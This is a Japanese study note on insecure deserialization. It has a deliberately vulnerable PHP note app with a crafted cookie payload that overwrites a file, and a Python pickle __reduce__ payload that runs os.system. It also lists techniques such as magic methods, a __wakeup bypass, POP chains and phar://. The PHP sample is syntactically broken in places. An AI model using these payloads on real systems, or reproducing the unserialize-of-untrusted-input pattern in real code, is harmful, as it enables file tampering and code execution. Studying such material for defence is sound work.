Insecure Deserialization
安全でない文字列をDeserializeしてしまう脆弱性
他に定義されているクラスを作成し、メソッドの呼び出しなどをして攻撃を行うことができる
例
code:poc.php
<?php
class File {
public $filename;
public function __construct($filename) {
$this->filename = $filename;
}
public function write($data) {
return file_put_contents($this->filename, $data);
}
}
class Note {
public $note = 'example';
public function write($note) {
$this->note = $note;
}
}
$note_data = serialize(new Note());
setcookie('note', $note_data);
}
$note = unserialize($_COOKIE'note'); }
?>
<p>Note: <?php echo "$note->note"; ?> </p>
<form action="/" method="POST">
<input type="text" name="note">
<input type="submit" name="submit">
</form>
謎のPHP製ノートアプリ
CookieのnoteにNoteクラスにserializeされたデータが格納される
O:4:"Note":1:{s:4:"note";s:7:"example";}のような文字列が格納される
Oはオブジェクト、sは文字列 (他にもiは数値、bは論理値など)
O:4:"Note":1の1はプロパティの数
4:"Note"は名前 (数値は文字列の長さ)
使われていないクラスのFileがある
信頼できない外部入力をunserializeしている部分に注目する
CookieのnoteをO:4:"File":1:{s:8:"filename";s:11:"/tmp/target";}をURL Encodeした値にする
こうすると$noteがFileオブジェクトになる
Cookieをセットした状態でフォームにhogeを送信すると、$note->write($_POST["note"])の処理によりFile::writeが呼び出され、/tmp/targetが上書きされる
Fileクラスを利用して任意のファイルを上書きできるようになった!
テクニック
PHP
__destructなどのマジックメソッドの利用
先程の例はたまたまFileに::writeが定義されていたので悪用できたが、そこまで都合のいいクラスがあるとは限らない
__destructはオブジェクトの削除時=プログラムの終了時に呼ばれる関数
悪用可能な__destructを持つクラスがあれば、オブジェクトを作成するだけで攻撃ができる
他にも__wakeup、__toStringなど攻撃に使えるメソッドがある
__wakeupの回避
既存のバグを利用することで回避できる可能性がある
CVE-2016-7124 (PHP5 < 5.6.25, PHP7 < 7.0.10)
POP Chain
unserializeに使えるgadgetをつなげてexploitすることを指すらしい?
有名なライブラリのPOP Chainを生成してくれる
phar://
PHARはPHP用のアーカイブフォーマット
serializeされた状態で保存されているので、読み込むことでInsecure deserializationになる
Python
pickle
Pythonのserialize/unserializeによく使われるライブラリ
pickle.loads()でunserialize
code:exploit.py
import pickle
import os
class Hoge:
def __reduce__(self):
return (os.system, ("/bin/ls", )) # os.system("/bin/ls")
print(pickle.dumps(Hoge()))
セッションにpickleを用いている場合、秘密鍵が漏れたらInsecure Deserializationが可能になる
Pickoraが便利
pyyaml
pyyaml.loadは脆弱
Java
log4jが有名
Ruby
to_sやbytesizeを上書きできる場合に悪いことができる可能性がある
TODO: GitLabのRCE
JavaScript
LJSONというライブラリの脆弱性を利用する。Insecure Deserializationの一種
js-yaml